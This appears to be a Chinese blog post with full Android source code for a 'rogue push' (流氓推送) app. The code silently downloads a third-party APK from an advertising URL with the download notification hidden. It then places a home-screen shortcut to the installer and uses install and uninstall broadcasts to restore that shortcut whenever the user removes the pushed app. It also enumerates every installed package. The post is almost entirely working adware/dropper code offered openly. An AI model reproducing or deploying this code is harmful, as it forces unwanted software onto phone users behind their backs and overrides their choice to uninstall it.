Activity
public class MainActivity extends Activity { private DownloadCompleteReceiver receiver; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); TextView textView = new TextView(this); textView.setText("流氓推送__聪明反被聪明误"); setContentView(textView); if (Utils.isAppInstalled(this, Utils.PACKAGE_NAME)) {//已安装,删除图标 Log.i("bqt", "已安装,删除图标"); Utils.deleteShortCut(this, Utils.getYueLoveIntent()); } else { //未安装 File f = new File(Utils.FILE_PATH_ABSOLUTE, Utils.FILE_NAME); if (!f.exists()) {//没有下载 Log.i("bqt", "准备下载"); if (receiver == null) { receiver = new DownloadCompleteReceiver(); IntentFilter intentFilter = new IntentFilter(); intentFilter.addAction(android.app.DownloadManager.ACTION_DOWNLOAD_COMPLETE);//下载完成的动作 registerReceiver(receiver, intentFilter); } Utils.downLoadFile(this, Utils.URL); } else {//已下载,创建快捷方式 Log.i("bqt", "创建快捷方式"); Utils.createShortCut(this, Utils.getYueLoveIntent()); } } } @Override protected void onDestroy() { super.onDestroy(); if (receiver != null) { unregisterReceiver(receiver); receiver = null; } } }
应用安装卸载广播
public class PackageBroadcastReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { //Broadcast Action: A new application package has been installed on the device. The data contains the name of the package. //新安装的应用接收不到此广播,也即自身安装后自身接收不到;卸载应用的广播也一样,把一个应用卸载后它就收不到卸载广播了 if (intent.getAction().equals(Intent.ACTION_PACKAGE_ADDED)) {//android.intent.action.PACKAGE_ADDED String packageName = intent.getDataString(); Log.i("bqt", "安装了【" + packageName + "】包名的程序"); if (packageName.equals(Utils.PACKAGE_NAME_FORMAT)) { Utils.deleteShortCut(context, Utils.getYueLoveIntent()); } } //An existing application package has been removed from the device. The data contains the name of the package. if (intent.getAction().equals(Intent.ACTION_PACKAGE_REMOVED)) {//android.intent.action.PACKAGE_REMOVED String packageName = intent.getDataString(); Log.i("bqt", "卸载了【" + packageName + "】包名的程序"); if (packageName.equals(Utils.PACKAGE_NAME_FORMAT)) { Utils.createShortCut(context, Utils.getYueLoveIntent()); } } } }
下载完成广播
public class DownloadCompleteReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { long id = intent.getLongExtra(DownloadManager.EXTRA_DOWNLOAD_ID, 0); if (intent.getAction().equals(DownloadManager.ACTION_DOWNLOAD_COMPLETE)) { Log.i("bqt", "编号 " + id + " 的任务已经下载完成!"); Utils.createShortCut(context, Utils.getYueLoveIntent()); } } }
工具类
public class Utils { /**安装包下载路径,下载后存放的路径、文件名*/ public static final String URL = "http://api.95yueba.com/app/advert/down.php?channel=ai00002&from_type=d725d6c7306f2fbaea543c3138f677bd"; public static final String ICON_NAME = "寻爱";//图标名称 public static final String FILE_NAME = "寻爱.apk";//下载的文件名称 public static final String FILE_PATH_SHORT = "/95xiu/game_test";//相对路径 public static final String FILE_PATH_ABSOLUTE = Environment.getExternalStorageDirectory().getAbsolutePath() + FILE_PATH_SHORT;//绝对路径 public static final String PACKAGE_NAME = "com.lokinfo.seeklove";//包名 public static final String PACKAGE_NAME_FORMAT = "package:" + PACKAGE_NAME;//加上前缀的包名 /**下载文件*/ public static void downLoadFile(Context mContext, String url) { android.app.DownloadManager.Request request = new android.app.DownloadManager.Request(Uri.parse(url))//路径 .setNotificationVisibility(android.app.DownloadManager.Request.VISIBILITY_HIDDEN)//隐藏 .setAllowedNetworkTypes(android.app.DownloadManager.Request.NETWORK_WIFI)//仅WIFI下载 .setDestinationInExternalPublicDir(FILE_PATH_SHORT, FILE_NAME);//要使用相对路径 ((android.app.DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE)).enqueue(request); } /**创建快捷方式*/ public static void createShortCut(Context mContext, Intent intent) { if (isExistShutCut(mContext, ICON_NAME)) return; Intent shortcutintent = new Intent("com.android.launcher.action.INSTALL_SHORTCUT"); shortcutintent.putExtra("duplicate", false);// 是否可以重复放置shortcut,不一定有效 shortcutintent.putExtra(Intent.EXTRA_SHORTCUT_NAME, ICON_NAME);//名称 Bitmap iconBitmap = drawable2Bitmap(getApkIcon(mContext, FILE_PATH_ABSOLUTE + File.separator + FILE_NAME)); shortcutintent.putExtra(Intent.EXTRA_SHORTCUT_ICON, iconBitmap);//图标 shortcutintent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, intent);//动作 mContext.sendBroadcast(shortcutintent); } /**删除快捷方式*/ public static void deleteShortCut(Context mContext, Intent intent) { Intent shortcutIntent = new Intent("com.android.launcher.action.UNINSTALL_SHORTCUT"); shortcutIntent.putExtra(Intent.EXTRA_SHORTCUT_NAME, ICON_NAME); shortcutIntent.putExtra(Intent.EXTRA_SHORTCUT_INTENT, intent);//删除时使用的Intent要和创建时的一致才可以 mContext.sendBroadcast(shortcutIntent); } /**判断快捷图标是否在数据库中已存在(不一定可靠)*/ public static boolean isExistShutCut(Context context, String name) { boolean isExist = false; int version = android.os.Build.VERSION.SDK_INT; Uri uri; if (version < 8) uri = Uri.parse("content://com.android.launcher.settings/favorites"); else uri = Uri.parse("content://com.android.launcher2.settings/favorites"); Cursor c = context.getContentResolver().query(uri, new String[] { "title", "iconResource" }, "title=?", new String[] { name }, null); if (c != null) { if (c.getCount() > 0) isExist = true; c.close(); } return isExist; } /**获取Intent*/ public static Intent getYueLoveIntent() { Intent intent = new Intent(Intent.ACTION_VIEW); intent.setDataAndType(Uri.parse("file://" + FILE_PATH_ABSOLUTE + File.separator + FILE_NAME), "application/vnd.android.package-archive"); return intent; } /**获取手机所有已安装程序的包名*/ public static List<String> getAppInstalledPackages(Context mContext) { PackageManager pm = mContext.getPackageManager(); List<PackageInfo> pinfos = pm.getInstalledPackages(0); List<String> pgNames = new ArrayList<String>(); for (PackageInfo pinfo : pinfos) { pgNames.add(pinfo.packageName); } return pgNames; } /**判断App是否已经安装*/ public static boolean isAppInstalled(Context mContext, String packageName) { return getAppInstalledPackages(mContext).contains(packageName); } /**获取APK文件中图标 */ public static Drawable getApkIcon(Context mContext, String apkPath) { PackageManager pm = mContext.getPackageManager(); PackageInfo info = pm.getPackageArchiveInfo(apkPath, PackageManager.GET_ACTIVITIES); if (info != null) { ApplicationInfo appInfo = info.applicationInfo; appInfo.sourceDir = apkPath; appInfo.publicSourceDir = apkPath; try { return appInfo.loadIcon(pm); } catch (OutOfMemoryError e) { Log.e("ApkIconLoader", e.toString()); } } return mContext.getDrawable(R.drawable.ic_launcher); } /**将Drawable转化为Bitmap*/ public static Bitmap drawable2Bitmap(Drawable drawable) { if (drawable instanceof BitmapDrawable) return ((BitmapDrawable) drawable).getBitmap(); Bitmap.Config config = drawable.getOpacity() != PixelFormat.OPAQUE ? Bitmap.Config.ARGB_8888 : Bitmap.Config.RGB_565; Bitmap bitmap = Bitmap.createBitmap(drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight(), config);//指定宽高及格式 Canvas canvas = new Canvas(bitmap);//此Bitmap必须是mutable(可修改的) drawable.setBounds(0, 0, drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight()); drawable.draw(canvas);//把drawable画到canvas中。Draw in its bounds (set via setBounds) respecting根据 optional可选的 effects return bitmap; } }
清单文件
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.bqt.test" android:versionCode="1" android:versionName="1.0" > <uses-sdk android:minSdkVersion="16" android:targetSdkVersion="21" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT" /> <uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT" /> <uses-permission android:name="android.permission.DOWNLOAD_WITHOUT_NOTIFICATION" /> <uses-permission android:name="com.android.launcher.permission.READ_SETTINGS" /> <application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" > <activity android:name=".MainActivity" android:label="MainActivity" > <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <receiver android:name=".PackageBroadcastReceiver" > <intent-filter> <action android:name="android.intent.action.PACKAGE_ADDED" /> <action android:name="android.intent.action.PACKAGE_REMOVED" /> <data android:scheme="package" /> </intent-filter> </receiver> </application> </manifest>
附件列表
时间: 2024-11-05 23:35:04